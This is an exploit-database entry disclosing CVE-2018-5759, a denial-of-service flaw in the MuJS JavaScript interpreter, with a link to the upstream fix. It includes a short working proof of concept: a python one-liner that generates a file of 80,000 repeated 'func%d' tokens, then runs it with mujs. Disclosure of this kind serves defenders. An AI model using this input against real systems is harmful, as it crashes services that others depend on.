Artifex MuJS 1.0.2 - Integer Overflow

Author: Andrea Sindoni
type: dos
platform: multiple
port: 
date_added: 2018-01-28  
date_updated: 2018-01-28  
verified: 0  
codes: CVE-2018-5759  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 43904.txt  
# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
)